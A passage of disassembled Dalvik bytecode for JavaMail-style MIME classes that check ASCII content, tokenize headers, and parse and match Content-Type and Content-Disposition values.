0000001C iput-boolean v0, p0, AsciiOutputStream->checkEOL:Z
00000020 iput v0, p0, AsciiOutputStream->lastb:I
00000024 iput v0, p0, AsciiOutputStream->ret:I
00000028 iput-boolean p1, p0, AsciiOutputStream->breakOnNonAscii:Z
0000002C if-eqz p2, :36
:30
00000030 if-eqz p1, :36
:34
00000034 const/4 v0, 0x1
:36
00000036 iput-boolean v0, p0, AsciiOutputStream->checkEOL:Z
0000003A return-void
.end method
.method private final check(I)V
.registers 7
00000000 const/4 v4, 0x1
00000002 const/16 v3, 0xD
00000006 const/16 v2, 0xA
0000000A and-int/lit16 v0, p1, 0xFF
0000000E iget-boolean v1, p0, AsciiOutputStream->checkEOL:Z
00000012 if-eqz v1, :32
:16
00000016 iget v1, p0, AsciiOutputStream->lastb:I
0000001A if-ne v1, v3, :22
:1E
0000001E if-ne v0, v2, :2E
:22
00000022 iget v1, p0, AsciiOutputStream->lastb:I
00000026 if-eq v1, v3, :32
:2A
0000002A if-ne v0, v2, :32
:2E
0000002E iput-boolean v4, p0, AsciiOutputStream->badEOL:Z
:32
00000032 if-eq v0, v3, :3A
:36
00000036 if-ne v0, v2, :72
:3A
0000003A const/4 v1, 0x0
0000003C iput v1, p0, AsciiOutputStream->linelen:I
:40
00000040 invoke-static MimeUtility->nonascii(I)Z, v0
00000046 move-result v1
00000048 if-eqz v1, :90
:4C
0000004C iget v1, p0, AsciiOutputStream->non_ascii:I
00000050 add-int/lit8 v1, v1, 0x1
00000054 iput v1, p0, AsciiOutputStream->non_ascii:I
00000058 iget-boolean v1, p0, AsciiOutputStream->breakOnNonAscii:Z
0000005C if-eqz v1, :9C
:60
00000060 const/4 v0, 0x3
00000062 iput v0, p0, AsciiOutputStream->ret:I
00000066 new-instance v0, EOFException
0000006A invoke-direct EOFException-><init>()V, v0
00000070 throw v0
:72
00000072 iget v1, p0, AsciiOutputStream->linelen:I
00000076 add-int/lit8 v1, v1, 0x1
0000007A iput v1, p0, AsciiOutputStream->linelen:I
0000007E iget v1, p0, AsciiOutputStream->linelen:I
00000082 const/16 v2, 0x3E6
00000086 if-le v1, v2, :40
:8A
0000008A iput-boolean v4, p0, AsciiOutputStream->longLine:Z
0000008E goto :40
:90
00000090 iget v1, p0, AsciiOutputStream->ascii:I
00000094 add-int/lit8 v1, v1, 0x1
00000098 iput v1, p0, AsciiOutputStream->ascii:I
:9C
0000009C iput v0, p0, AsciiOutputStream->lastb:I
000000A0 return-void
.end method
.method public getAscii()I
.registers 5
00000000 const/4 v0, 0x3
00000002 const/4 v1, 0x2
00000004 iget v2, p0, AsciiOutputStream->ret:I
00000008 if-eqz v2, :12
:C
0000000C iget v0, p0, AsciiOutputStream->ret:I
:10
00000010 return v0
:12
00000012 iget-boolean v2, p0, AsciiOutputStream->badEOL:Z
00000016 if-nez v2, :10
:1A
0000001A iget v2, p0, AsciiOutputStream->non_ascii:I
0000001E if-nez v2, :32
:22
00000022 iget-boolean v0, p0, AsciiOutputStream->longLine:Z
00000026 if-eqz v0, :2E
:2A
0000002A move v0, v1
0000002C goto :10
:2E
0000002E const/4 v0, 0x1
00000030 goto :10
:32
00000032 iget v2, p0, AsciiOutputStream->ascii:I
00000036 iget v3, p0, AsciiOutputStream->non_ascii:I
0000003A if-le v2, v3, :10
:3E
0000003E move v0, v1
00000040 goto :10
.end method
.method public write(I)V
.registers 2
00000000 invoke-direct AsciiOutputStream->check(I)V, p0, p1
00000006 return-void
.end method
.method public write([B)V
.registers 4
00000000 const/4 v0, 0x0
00000002 array-length v1, p1
00000004 invoke-virtual AsciiOutputStream->write([B, I, I)V, p0, p1, v0, v1
0000000A return-void
.end method
.method public write([B, I, I)V
.registers 6
00000000 add-int v0, p3, p2
:4
00000004 if-lt p2, v0, :A
:8
00000008 return-void
:A
0000000A aget-byte v1, p1, p2
0000000E invoke-direct AsciiOutputStream->check(I)V, p0, v1
00000014 add-int/lit8 p2, p2, 0x1
00000018 goto :4
.end method
#--------------------------------------------------------------------------------
.class public ContentDisposition
.super Object
.source ""
.field private disposition:String
.field private list:ParameterList
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 6
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, HeaderTokenizer
0000000A const-string v1, "()<>@,;:\\\"\t []/?="
0000000E invoke-direct HeaderTokenizer-><init>(String, String)V, v0, p1, v1
00000014 invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v0
0000001A move-result-object v1
0000001C invoke-virtual HeaderTokenizer$Token->getType()I, v1
00000022 move-result v2
00000024 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000026 if-eq v2, v3, :36
:2A
0000002A new-instance v0, ParseException
0000002E invoke-direct ParseException-><init>()V, v0
00000034 throw v0
:36
00000036 invoke-virtual HeaderTokenizer$Token->getValue()String, v1
0000003C move-result-object v1
0000003E iput-object v1, p0, ContentDisposition->disposition:String
00000042 invoke-virtual HeaderTokenizer->getRemainder()String, v0
00000048 move-result-object v0
0000004A if-eqz v0, :5C
:4E
0000004E new-instance v1, ParameterList
00000052 invoke-direct ParameterList-><init>(String)V, v1, v0
00000058 iput-object v1, p0, ContentDisposition->list:ParameterList
:5C
0000005C return-void
.end method
.method public constructor <init>(String, ParameterList)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, ContentDisposition->disposition:String
0000000A iput-object p2, p0, ContentDisposition->list:ParameterList
0000000E return-void
.end method
.method public getDisposition()String
.registers 2
00000000 iget-object v0, p0, ContentDisposition->disposition:String
00000004 return-object v0
.end method
.method public getParameter(String)String
.registers 3
00000000 iget-object v0, p0, ContentDisposition->list:ParameterList
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return-object v0
:C
0000000C iget-object v0, p0, ContentDisposition->list:ParameterList
00000010 invoke-virtual ParameterList->get(String)String, v0, p1
00000016 move-result-object v0
00000018 goto :A
.end method
.method public getParameterList()ParameterList
.registers 2
00000000 iget-object v0, p0, ContentDisposition->list:ParameterList
00000004 return-object v0
.end method
.method public setDisposition(String)V
.registers 2
00000000 iput-object p1, p0, ContentDisposition->disposition:String
00000004 return-void
.end method
.method public setParameter(String, String)V
.registers 4
00000000 iget-object v0, p0, ContentDisposition->list:ParameterList
00000004 if-nez v0, :16
:8
00000008 new-instance v0, ParameterList
0000000C invoke-direct ParameterList-><init>()V, v0
00000012 iput-object v0, p0, ContentDisposition->list:ParameterList
:16
00000016 iget-object v0, p0, ContentDisposition->list:ParameterList
0000001A invoke-virtual ParameterList->set(String, String)V, v0, p1, p2
00000020 return-void
.end method
.method public setParameterList(ParameterList)V
.registers 2
00000000 iput-object p1, p0, ContentDisposition->list:ParameterList
00000004 return-void
.end method
.method public toString()String
.registers 4
00000000 iget-object v0, p0, ContentDisposition->disposition:String
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return-object v0
:C
0000000C iget-object v0, p0, ContentDisposition->list:ParameterList
00000010 if-nez v0, :1A
:14
00000014 iget-object v0, p0, ContentDisposition->disposition:String
00000018 goto :A
:1A
0000001A new-instance v0, StringBuffer
0000001E iget-object v1, p0, ContentDisposition->disposition:String
00000022 invoke-direct StringBuffer-><init>(String)V, v0, v1
00000028 iget-object v1, p0, ContentDisposition->list:ParameterList
0000002C invoke-virtual StringBuffer->length()I, v0
00000032 move-result v2
00000034 add-int/lit8 v2, v2, 0x15
00000038 invoke-virtual ParameterList->toString(I)String, v1, v2
0000003E move-result-object v1
00000040 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000046 invoke-virtual StringBuffer->toString()String, v0
0000004C move-result-object v0
0000004E goto :A
.end method
#--------------------------------------------------------------------------------
.class public ContentType
.super Object
.source ""
.field private list:ParameterList
.field private primaryType:String
.field private subType:String
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 6
00000000 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000002 invoke-direct Object-><init>()V, p0
00000008 new-instance v0, HeaderTokenizer
0000000C const-string v1, "()<>@,;:\\\"\t []/?="
00000010 invoke-direct HeaderTokenizer-><init>(String, String)V, v0, p1, v1
00000016 invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v0
0000001C move-result-object v1
0000001E invoke-virtual HeaderTokenizer$Token->getType()I, v1
00000024 move-result v2
00000026 if-eq v2, v3, :36
:2A
0000002A new-instance v0, ParseException
0000002E invoke-direct ParseException-><init>()V, v0
00000034 throw v0
:36
00000036 invoke-virtual HeaderTokenizer$Token->getValue()String, v1
0000003C move-result-object v1
0000003E iput-object v1, p0, ContentType->primaryType:String
00000042 invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v0
00000048 move-result-object v1
0000004A invoke-virtual HeaderTokenizer$Token->getType()I, v1
00000050 move-result v1
00000052 int-to-char v1, v1
00000054 const/16 v2, 0x2F
00000058 if-eq v1, v2, :68
:5C
0000005C new-instance v0, ParseException
00000060 invoke-direct ParseException-><init>()V, v0
00000066 throw v0
:68
00000068 invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v0
0000006E move-result-object v1
00000070 invoke-virtual HeaderTokenizer$Token->getType()I, v1
00000076 move-result v2
00000078 if-eq v2, v3, :88
:7C
0000007C new-instance v0, ParseException
00000080 invoke-direct ParseException-><init>()V, v0
00000086 throw v0
:88
00000088 invoke-virtual HeaderTokenizer$Token->getValue()String, v1
0000008E move-result-object v1
00000090 iput-object v1, p0, ContentType->subType:String
00000094 invoke-virtual HeaderTokenizer->getRemainder()String, v0
0000009A move-result-object v0
0000009C if-eqz v0, :AE
:A0
000000A0 new-instance v1, ParameterList
000000A4 invoke-direct ParameterList-><init>(String)V, v1, v0
000000AA iput-object v1, p0, ContentType->list:ParameterList
:AE
000000AE return-void
.end method
.method public constructor <init>(String, String, ParameterList)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, ContentType->primaryType:String
0000000A iput-object p2, p0, ContentType->subType:String
0000000E iput-object p3, p0, ContentType->list:ParameterList
00000012 return-void
.end method
.method public getBaseType()String
.registers 3
00000000 new-instance v0, StringBuilder
00000004 iget-object v1, p0, ContentType->primaryType:String
00000008 invoke-static String->valueOf(Object)String, v1
0000000E move-result-object v1
00000010 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000016 const/16 v1, 0x2F
0000001A invoke-virtual StringBuilder->append(C)StringBuilder, v0, v1
00000020 move-result-object v0
00000022 iget-object v1, p0, ContentType->subType:String
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002C move-result-object v0
0000002E invoke-virtual StringBuilder->toString()String, v0
00000034 move-result-object v0
00000036 return-object v0
.end method
.method public getParameter(String)String
.registers 3
00000000 iget-object v0, p0, ContentType->list:ParameterList
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return-object v0
:C
0000000C iget-object v0, p0, ContentType->list:ParameterList
00000010 invoke-virtual ParameterList->get(String)String, v0, p1
00000016 move-result-object v0
00000018 goto :A
.end method
.method public getParameterList()ParameterList
.registers 2
00000000 iget-object v0, p0, ContentType->list:ParameterList
00000004 return-object v0
.end method
.method public getPrimaryType()String
.registers 2
00000000 iget-object v0, p0, ContentType->primaryType:String
00000004 return-object v0
.end method
.method public getSubType()String
.registers 2
00000000 iget-object v0, p0, ContentType->subType:String
00000004 return-object v0
.end method
.method public match(String)Z
.registers 3
00000000 new-instance v0, ContentType
00000004 invoke-direct ContentType-><init>(String)V, v0, p1
0000000A invoke-virtual ContentType->match(ContentType)Z, p0, v0
:10
00000010 move-result v0
:12
00000012 return v0
:14
00000014 move-exception v0
00000016 const/4 v0, 0x0
00000018 goto :12
.catch ParseException {:0 .. :10} :14
.end method
.method public match(ContentType)Z
.registers 7
00000000 const/16 v4, 0x2A
00000004 const/4 v1, 0x1
00000006 const/4 v0, 0x0
00000008 iget-object v2, p0, ContentType->primaryType:String
0000000C invoke-virtual ContentType->getPrimaryType()String, p1
00000012 move-result-object v3
00000014 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
0000001A move-result v2
0000001C if-nez v2, :22
:20
00000020 return v0
:22
00000022 invoke-virtual ContentType->getSubType()String, p1
00000028 move-result-object v2
0000002A iget-object v3, p0, ContentType->subType:String
0000002E invoke-virtual String->charAt(I)C, v3, v0
00000034 move-result v3
00000036 if-eq v3, v4, :46
:3A
0000003A invoke-virtual String->charAt(I)C, v2, v0
00000040 move-result v3
00000042 if-ne v3, v4, :4A
:46
00000046 move v0, v1
00000048 goto :20
:4A
0000004A iget-object v3, p0, ContentType->subType:String
0000004E invoke-virtual String->equalsIgnoreCase(String)Z, v3, v2
00000054 move-result v2
00000056 if-eqz v2, :20
:5A
0000005A move v0, v1
0000005C goto :20
.end method
.method public setParameter(String, String)V
.registers 4
00000000 iget-object v0, p0, ContentType->list:ParameterList
00000004 if-nez v0, :16
:8
00000008 new-instance v0, ParameterList
0000000C invoke-direct ParameterList-><init>()V, v0
00000012 iput-object v0, p0, ContentType->list:ParameterList
:16
00000016 iget-object v0, p0, ContentType->list:ParameterList
0000001A invoke-virtual ParameterList->set(String, String)V, v0, p1, p2
00000020 return-void
.end method
.method public setParameterList(ParameterList)V
.registers 2
00000000 iput-object p1, p0, ContentType->list:ParameterList
00000004 return-void
.end method
.method public setPrimaryType(String)V
.registers 2
00000000 iput-object p1, p0, ContentType->primaryType:String
00000004 return-void
.end method
.method public setSubType(String)V
.registers 2
00000000 iput-object p1, p0, ContentType->subType:String
00000004 return-void
.end method
.method public toString()String
.registers 4
00000000 iget-object v0, p0, ContentType->primaryType:String
00000004 if-eqz v0, :10
:8
00000008 iget-object v0, p0, ContentType->subType:String
0000000C if-nez v0, :14
:10
00000010 const/4 v0, 0x0
:12
00000012 return-object v0
:14
00000014 new-instance v0, StringBuffer
00000018 invoke-direct StringBuffer-><init>()V, v0
0000001E iget-object v1, p0, ContentType->primaryType:String
00000022 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000028 move-result-object v1
0000002A const/16 v2, 0x2F
0000002E invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
00000034 move-result-object v1
00000036 iget-object v2, p0, ContentType->subType:String
0000003A invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
00000040 iget-object v1, p0, ContentType->list:ParameterList
00000044 if-eqz v1, :66
:48
00000048 iget-object v1, p0, ContentType->list:ParameterList
0000004C invoke-virtual StringBuffer->length()I, v0
00000052 move-result v2
00000054 add-int/lit8 v2, v2, 0xE
00000058 invoke-virtual ParameterList->toString(I)String, v1, v2
0000005E move-result-object v1
00000060 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:66
00000066 invoke-virtual StringBuffer->toString()String, v0
0000006C move-result-object v0
0000006E goto :12
.end method
#--------------------------------------------------------------------------------
.class public HeaderTokenizer$Token
.super Object
.source ""
.field public static final ATOM:I = 0xFFFFFFFF
.field public static final COMMENT:I = 0xFFFFFFFD
.field public static final EOF:I = 0xFFFFFFFC
.field public static final QUOTEDSTRING:I = 0xFFFFFFFE
.field private type:I
.field private value:String
.method public constructor <init>(I, String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput p1, p0, HeaderTokenizer$Token->type:I
0000000A iput-object p2, p0, HeaderTokenizer$Token->value:String
0000000E return-void
.end method
.method public getType()I
.registers 2
00000000 iget v0, p0, HeaderTokenizer$Token->type:I
00000004 return v0
.end method
.method public getValue()String
.registers 2
00000000 iget-object v0, p0, HeaderTokenizer$Token->value:String
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public HeaderTokenizer
.super Object
.source ""
.field private static final EOFToken:HeaderTokenizer$Token = null
.field public static final MIME:String = "()<>@,;:\\\"\t []/?="
.field public static final RFC822:String = "()<>@,;:\\\"\t .[]"
.field private currentPos:I
.field private delimiters:String
.field private maxPos:I
.field private nextPos:I
.field private peekPos:I
.field private skipComments:Z
.field private string:String
.method static constructor <clinit>()V
.registers 3
00000000 new-instance v0, HeaderTokenizer$Token
00000004 const/4 v1, 0xFFFFFFFFFFFFFFFC
00000006 const/4 v2, 0x0
00000008 invoke-direct HeaderTokenizer$Token-><init>(I, String)V, v0, v1, v2
0000000E sput-object v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
00000012 return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 const-string v0, "()<>@,;:\\\"\t .[]"
00000004 invoke-direct HeaderTokenizer-><init>(String, String)V, p0, p1, v0
0000000A return-void
.end method
.method public constructor <init>(String, String)V
.registers 4
00000000 const/4 v0, 0x1
00000002 invoke-direct HeaderTokenizer-><init>(String, String, Z)V, p0, p1, p2, v0
00000008 return-void
.end method
.method public constructor <init>(String, String, Z)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 if-nez p1, :E
:A
0000000A const-string p1, ""
:E
0000000E iput-object p1, p0, HeaderTokenizer->string:String
00000012 iput-boolean p3, p0, HeaderTokenizer->skipComments:Z
00000016 iput-object p2, p0, HeaderTokenizer->delimiters:String
0000001A const/4 v0, 0x0
0000001C iput v0, p0, HeaderTokenizer->peekPos:I
00000020 iput v0, p0, HeaderTokenizer->nextPos:I
00000024 iput v0, p0, HeaderTokenizer->currentPos:I
00000028 iget-object v0, p0, HeaderTokenizer->string:String
0000002C invoke-virtual String->length()I, v0
00000032 move-result v0
00000034 iput v0, p0, HeaderTokenizer->maxPos:I
00000038 return-void
.end method
.method private static filterToken(String, I, I)String
.registers 11
00000000 const/4 v2, 0x1
00000002 const/4 v1, 0x0
00000004 new-instance v4, StringBuffer
00000008 invoke-direct StringBuffer-><init>()V, v4
0000000E move v3, v1
00000010 move v0, v1
:12
00000012 if-lt p1, p2, :20
:16
00000016 invoke-virtual StringBuffer->toString()String, v4
0000001C move-result-object v0
0000001E return-object v0
:20
00000020 invoke-virtual String->charAt(I)C, p0, p1
00000026 move-result v5
00000028 const/16 v6, 0xA
0000002C if-ne v5, v6, :44
:30
00000030 if-eqz v3, :44
:34
00000034 move v3, v0
00000036 move v0, v1
:38
00000038 add-int/lit8 p1, p1, 0x1
0000003C move v7, v0
0000003E move v0, v3
00000040 move v3, v7
00000042 goto :12
:44
00000044 if-nez v0, :70
:48
00000048 const/16 v3, 0x5C
0000004C if-ne v5, v3, :56
:50
00000050 move v0, v1
00000052 move v3, v2
00000054 goto :38
:56
00000056 const/16 v3, 0xD
0000005A if-ne v5, v3, :64
:5E
0000005E move v3, v0
00000060 move v0, v2
00000062 goto :38
:64
00000064 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v5
0000006A move v3, v0
0000006C move v0, v1
0000006E goto :38
:70
00000070 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v5
00000076 move v0, v1
00000078 move v3, v1
0000007A goto :38
.end method
.method private getNext()HeaderTokenizer$Token
.registers 12
00000000 const/4 v9, 0xFFFFFFFFFFFFFFFC
00000002 const/16 v8, 0x28
00000006 const/16 v7, 0x22
0000000A const/16 v6, 0x20
0000000E const/4 v2, 0x1
00000010 iget v0, p0, HeaderTokenizer->currentPos:I
00000014 iget v1, p0, HeaderTokenizer->maxPos:I
00000018 if-lt v0, v1, :22
:1C
0000001C sget-object v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
:20
00000020 return-object v0
:22
00000022 invoke-direct HeaderTokenizer->skipWhiteSpace()I, p0
00000028 move-result v0
0000002A if-ne v0, v9, :34
:2E
0000002E sget-object v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
00000032 goto :20
:34
00000034 const/4 v0, 0x0
00000036 iget-object v1, p0, HeaderTokenizer->string:String
0000003A iget v3, p0, HeaderTokenizer->currentPos:I
0000003E invoke-virtual String->charAt(I)C, v1, v3
00000044 move-result v1
:46
00000046 if-eq v1, v8, :76
:4A
0000004A if-ne v1, v7, :20A
:4E
0000004E iget v1, p0, HeaderTokenizer->currentPos:I
00000052 add-int/lit8 v1, v1, 0x1
00000056 iput v1, p0, HeaderTokenizer->currentPos:I
:5A
0000005A iget v3, p0, HeaderTokenizer->currentPos:I
0000005E iget v4, p0, HeaderTokenizer->maxPos:I
00000062 if-lt v3, v4, :178
:66
00000066 new-instance v0, ParseException
0000006A const-string v1, "Unbalanced quoted string"
0000006E invoke-direct ParseException-><init>(String)V, v0, v1
00000074 throw v0
:76
00000076 iget v1, p0, HeaderTokenizer->currentPos:I
0000007A add-int/lit8 v3, v1, 0x1
0000007E iput v3, p0, HeaderTokenizer->currentPos:I
00000082 move v1, v0
00000084 move v0, v2
:86
00000086 if-lez v0, :96
:8A
0000008A iget v4, p0, HeaderTokenizer->currentPos:I
0000008E iget v5, p0, HeaderTokenizer->maxPos:I
00000092 if-lt v4, v5, :AA
:96
00000096 if-eqz v0, :102
:9A
0000009A new-instance v0, ParseException
0000009E const-string v1, "Unbalanced comments"
000000A2 invoke-direct ParseException-><init>(String)V, v0, v1
000000A8 throw v0
:AA
000000AA iget-object v4, p0, HeaderTokenizer->string:String
000000AE iget v5, p0, HeaderTokenizer->currentPos:I
000000B2 invoke-virtual String->charAt(I)C, v4, v5
000000B8 move-result v4
000000BA const/16 v5, 0x5C
000000BE if-ne v4, v5, :DE
:C2
000000C2 iget v1, p0, HeaderTokenizer->currentPos:I
000000C6 add-int/lit8 v1, v1, 0x1
000000CA iput v1, p0, HeaderTokenizer->currentPos:I
000000CE move v1, v2
:D0
000000D0 iget v4, p0, HeaderTokenizer->currentPos:I
000000D4 add-int/lit8 v4, v4, 0x1
000000D8 iput v4, p0, HeaderTokenizer->currentPos:I
000000DC goto :86
:DE
000000DE const/16 v5, 0xD
000000E2 if-ne v4, v5, :EA
:E6
000000E6 move v1, v2
000000E8 goto :D0
:EA
000000EA if-ne v4, v8, :F4
:EE
000000EE add-int/lit8 v0, v0, 0x1
000000F2 goto :D0
:F4
000000F4 const/16 v5, 0x29
000000F8 if-ne v4, v5, :D0
:FC
000000FC add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000100 goto :D0
:102
00000102 iget-boolean v0, p0, HeaderTokenizer->skipComments:Z
00000106 if-nez v0, :14A
:10A
0000010A if-eqz v1, :134
:10E
0000010E iget-object v0, p0, HeaderTokenizer->string:String
00000112 iget v1, p0, HeaderTokenizer->currentPos:I
00000116 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000011A invoke-static HeaderTokenizer->filterToken(String, I, I)String, v0, v3, v1
00000120 move-result-object v0
:122
00000122 new-instance v1, HeaderTokenizer$Token
00000126 const/4 v2, 0xFFFFFFFFFFFFFFFD
00000128 invoke-direct HeaderTokenizer$Token-><init>(I, String)V, v1, v2, v0
0000012E move-object v0, v1
00000130 goto/16 :20
:134
00000134 iget-object v0, p0, HeaderTokenizer->string:String
00000138 iget v1, p0, HeaderTokenizer->currentPos:I
0000013C add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000140 invoke-virtual String->substring(I, I)String, v0, v3, v1
00000146 move-result-object v0
00000148 goto :122
:14A
0000014A invoke-direct HeaderTokenizer->skipWhiteSpace()I, p0
00000150 move-result v0
00000152 if-ne v0, v9, :15E
:156
00000156 sget-object v0, HeaderTokenizer->EOFToken:HeaderTokenizer$Token
0000015A goto/16 :20
:15E
0000015E iget-object v0, p0, HeaderTokenizer->string:String
00000162 iget v3, p0, HeaderTokenizer->currentPos:I
00000166 invoke-virtual String->charAt(I)C, v0, v3
0000016C move-result v0
0000016E move v10, v1
00000170 move v1, v0
00000172 move v0, v10
00000174 goto/16 :46
:178
00000178 iget-object v3, p0, HeaderTokenizer->string:String
0000017C iget v4, p0, HeaderTokenizer->currentPos:I
00000180 invoke-virtual String->charAt(I)C, v3, v4
00000186 move-result v3
00000188 const/16 v4, 0x5C
0000018C if-ne v3, v4, :1AE
:190
00000190 iget v0, p0, HeaderTokenizer->currentPos:I
00000194 add-int/lit8 v0, v0, 0x1
00000198 iput v0, p0, HeaderTokenizer->currentPos:I
0000019C move v0, v2
:19E
0000019E iget v3, p0, HeaderTokenizer->currentPos:I
000001A2 add-int/lit8 v3, v3, 0x1
000001A6 iput v3, p0, HeaderTokenizer->currentPos:I
000001AA goto/16 :5A
:1AE
000001AE const/16 v4, 0xD
000001B2 if-ne v3, v4, :1BA
:1B6
000001B6 move v0, v2
000001B8 goto :19E
:1BA
000001BA if-ne v3, v7, :19E
:1BE
000001BE iget v2, p0, HeaderTokenizer->currentPos:I
000001C2 add-int/lit8 v2, v2, 0x1
000001C6 iput v2, p0, HeaderTokenizer->currentPos:I
000001CA if-eqz v0, :1F4
:1CE
000001CE iget-object v0, p0, HeaderTokenizer->string:String
000001D2 iget v2, p0, HeaderTokenizer->currentPos:I
000001D6 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
000001DA invoke-static HeaderTokenizer->filterToken(String, I, I)String, v0, v1, v2
000001E0 move-result-object v0
:1E2
000001E2 new-instance v1, HeaderTokenizer$Token
000001E6 const/4 v2, 0xFFFFFFFFFFFFFFFE
000001E8 invoke-direct HeaderTokenizer$Token-><init>(I, String)V, v1, v2, v0
000001EE move-object v0, v1
000001F0 goto/16 :20
:1F4
000001F4 iget-object v0, p0, HeaderTokenizer->string:String
000001F8 iget v2, p0, HeaderTokenizer->currentPos:I
000001FC add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
00000200 invoke-virtual String->substring(I, I)String, v0, v1, v2
00000206 move-result-object v0
00000208 goto :1E2
:20A
0000020A if-lt v1, v6, :226
:20E
0000020E const/16 v0, 0x7F
00000212 if-ge v1, v0, :226
:216
00000216 iget-object v0, p0, HeaderTokenizer->delimiters:String
0000021A invoke-virtual String->indexOf(I)I, v0, v1
00000220 move-result v0
00000222 if-ltz v0, :254
:226
00000226 iget v0, p0, HeaderTokenizer->currentPos:I
0000022A add-int/lit8 v0, v0, 0x1
0000022E iput v0, p0, HeaderTokenizer->currentPos:I
00000232 new-array v2, v2, [C
00000236 const/4 v0, 0x0
00000238 aput-char v1, v2, v0
0000023C new-instance v0, HeaderTokenizer$Token
00000240 new-instance v3, String
00000244 invoke-direct String-><init>([C)V, v3, v2
0000024A invoke-direct HeaderTokenizer$Token-><init>(I, String)V, v0, v1, v3
00000250 goto/16 :20
:254
00000254 iget v1, p0, HeaderTokenizer->currentPos:I
:258
00000258 iget v0, p0, HeaderTokenizer->currentPos:I
0000025C iget v2, p0, HeaderTokenizer->maxPos:I
00000260 if-lt v0, v2, :284
:264
00000264 new-instance v0, HeaderTokenizer$Token
00000268 const/4 v2, 0xFFFFFFFFFFFFFFFF
0000026A iget-object v3, p0, HeaderTokenizer->string:String
0000026E iget v4, p0, HeaderTokenizer->currentPos:I
00000272 invoke-virtual String->substring(I, I)String, v3, v1, v4
00000278 move-result-object v1
0000027A invoke-direct HeaderTokenizer$Token-><init>(I, String)V, v0, v2, v1
00000280 goto/16 :20
:284
00000284 iget-object v0, p0, HeaderTokenizer->string:String
00000288 iget v2, p0, HeaderTokenizer->currentPos:I
0000028C invoke-virtual String->charAt(I)C, v0, v2
00000292 move-result v0
00000294 if-lt v0, v6, :264
:298
00000298 const/16 v2, 0x7F
0000029C if-ge v0, v2, :264
:2A0
000002A0 if-eq v0, v8, :264
:2A4
000002A4 if-eq v0, v6, :264
:2A8
000002A8 if-eq v0, v7, :264
:2AC
000002AC iget-object v2, p0, HeaderTokenizer->delimiters:String
000002B0 invoke-virtual String->indexOf(I)I, v2, v0
000002B6 move-result v0
000002B8 if-gez v0, :264
:2BC
000002BC iget v0, p0, HeaderTokenizer->currentPos:I
000002C0 add-int/lit8 v0, v0, 0x1
000002C4 iput v0, p0, HeaderTokenizer->currentPos:I
000002C8 goto :258
.end method
.method private skipWhiteSpace()I
.registers 3
00000000 iget v0, p0, HeaderTokenizer->currentPos:I
00000004 iget v1, p0, HeaderTokenizer->maxPos:I
00000008 if-lt v0, v1, :10
:C
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFC
:E
0000000E return v0
:10
00000010 iget-object v0, p0, HeaderTokenizer->string:String
00000014 iget v1, p0, HeaderTokenizer->currentPos:I
00000018 invoke-virtual String->charAt(I)C, v0, v1
0000001E move-result v0
00000020 const/16 v1, 0x20
00000024 if-eq v0, v1, :46
:28
00000028 const/16 v1, 0x9
0000002C if-eq v0, v1, :46
:30
00000030 const/16 v1, 0xD
00000034 if-eq v0, v1, :46
:38
00000038 const/16 v1, 0xA
0000003C if-eq v0, v1, :46
:40
00000040 iget v0, p0, HeaderTokenizer->currentPos:I
00000044 goto :E
:46
00000046 iget v0, p0, HeaderTokenizer->currentPos:I
0000004A add-int/lit8 v0, v0, 0x1
0000004E iput v0, p0, HeaderTokenizer->currentPos:I
00000052 goto :0
.end method
.method public getRemainder()String
.registers 3
00000000 iget-object v0, p0, HeaderTokenizer->string:String
00000004 iget v1, p0, HeaderTokenizer->nextPos:I
00000008 invoke-virtual String->substring(I)String, v0, v1
0000000E move-result-object v0
00000010 return-object v0
.end method
.method public next()HeaderTokenizer$Token
.registers 3
00000000 iget v0, p0, HeaderTokenizer->nextPos:I
00000004 iput v0, p0, HeaderTokenizer->currentPos:I
00000008 invoke-direct HeaderTokenizer->getNext()HeaderTokenizer$Token, p0
0000000E move-result-object v0
00000010 iget v1, p0, HeaderTokenizer->currentPos:I
00000014 iput v1, p0, HeaderTokenizer->peekPos:I
00000018 iput v1, p0, HeaderTokenizer->nextPos:I
0000001C return-object v0
.end method
.method public peek()HeaderTokenizer$Token
.registers 3
00000000 iget v0, p0, HeaderTokenizer->peekPos:I
00000004 iput v0, p0, HeaderTokenizer->currentPos:I
